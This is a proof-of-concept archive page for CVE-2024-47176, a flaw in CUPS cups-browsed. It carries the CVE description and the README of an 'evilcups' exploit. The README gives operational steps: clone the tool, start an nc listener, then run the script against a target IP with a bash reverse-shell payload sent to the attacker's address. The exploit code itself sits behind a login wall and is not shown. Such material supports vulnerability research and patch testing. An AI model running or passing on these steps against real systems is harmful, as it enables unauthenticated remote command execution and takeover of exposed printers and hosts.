Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2024-47176 PoC — cups-browsed binds to `INADDR_ANY:631`, trusting any packet from any source

Source
Associated Vulnerability
Title:cups-browsed binds to `INADDR_ANY:631`, trusting any packet from any source (CVE-2024-47176)
Description:CUPS is a standards-based, open-source printing system, and `cups-browsed` contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. `cups-browsed` binds to `INADDR_ANY:631`, causing it to trust any packet from any source, and can cause the `Get-Printer-Attributes` IPP request to an attacker controlled URL. When combined with other vulnerabilities, such as CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177, an attacker can execute arbitrary commands remotely on the target machine without authentication when a malicious printer is printed to.
Readme
# CVE-2024-47176: Remote Command Execution in CUPS
## Description
CUPS (Common UNIX Printing System) is an open-source printing system that handles networked printers. CVE-2024-47176 specifically targets the cups-browsed functionality, which binds to INADDR_ANY:631, allowing it to trust any packet from any source. By manipulating the Get-Printer-Attributes IPP request, an attacker can send malicious print jobs from a remote system, leading to arbitrary command execution when combined with other vulnerabilities such as CVE-2024-47076 and CVE-2024-47175.
## Steps to Exploit CVE-2024-47176

### Prerequisites
- Access to the target machine with port 631 (IPP) exposed to the internet.
- Python installed on your local machine (for running the exploit script).
- `nmap` installed for scanning the target.

---

### Setup

1. Clone the repository:

    ```bash
    git clone https://github.com/<your-username>/evilcups.git
    cd evilcups
    ```

2. Install the required Python module:

    ```bash
    pip install ippserver
    ```

3. Ensure you have a listener ready to receive a reverse shell on your local machine. You can use `nc` for this:

    ```bash
    nc -lvnp <port>
    ```

## Usage

Run the exploit script with the following syntax:

```bash
./evilcups.py <attacker_ip> <target_ip> "<command>"
```
### For example
```bash
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →